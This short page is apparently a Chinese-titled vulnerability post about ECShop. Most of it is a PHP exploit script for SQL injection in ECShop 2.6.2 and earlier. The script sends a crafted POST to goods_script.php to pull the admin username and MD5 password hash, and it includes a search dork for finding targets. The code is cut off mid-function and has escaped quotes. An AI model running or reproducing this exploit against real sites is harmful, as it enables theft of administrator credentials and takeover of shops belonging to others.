ECShop 注射漏洞分析

if (empty($_GET[\’type\’])) { … } elseif ($_GET[\’type\’] == \’collection\’) { … } $sql .= \” LIMIT \” . (!empty($_GET[\’goods_num\’]) ? intval($_GET[\’goods_num\’]) : 10); $res = $db->query($sql);

#!/usr/bin/php <?php print_r(\’ +—————————————————————————+ ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit by puret_t mail: puretot at gmail dot com team: http://bbs.wolvez.org dork: \”Powered by ECShop\” +—————————————————————————+ \’); /** * works with register_globals = On */ if ($argc < 3) { print_r(\’ +—————————————————————————+ Usage: php \’.$argv[0].\’ host path host: target server (ip/hostname) path: path to ecshop Example: php \’.$argv[0].\’ localhost /ecshop/ +—————————————————————————+ \’); exit; } error_reporting(7); ini_set(\’max_execution_time\’, 0); $host = $argv[1]; $path = $argv[2]; $resp = send(); preg_match(\’#href=\”([\\S]+):([a-z0-9]{32})\”#\’, $resp, $hash); if ($hash) exit(\”Expoilt Success!\\nadmin:\\t$hash[1]\\nPassword(md5):\\t$hash[2]\\n\”); else exit(\”Exploit Failed!\\n\”); function send() { global $host, $path; $cmd = \’sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x\’.bin2hex(\’all\’).\’ LIMIT 1#\’; $data = \”POST \”.$path.\”goods_script.php?type=\”.time().\” HTTP/1.1\\r\\n\”; $data .= \”Accept: */*\\r\\n\”; $data .= \”Accept-Language: zh-cn\\r\\n\”; $data .= \”Content-Type: application/x-www-form-urlencoded\\r\\n\”; $data .= \”User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)\\r\\n\”; $data .= \”Host: $host\\r\\n\”; $data .= \”Content-Length: \”.strlen($cmd).\”\\r\\n\”; $data .= \”Connection: Close\\r\\n\\r\\n\”; $data .= $cmd;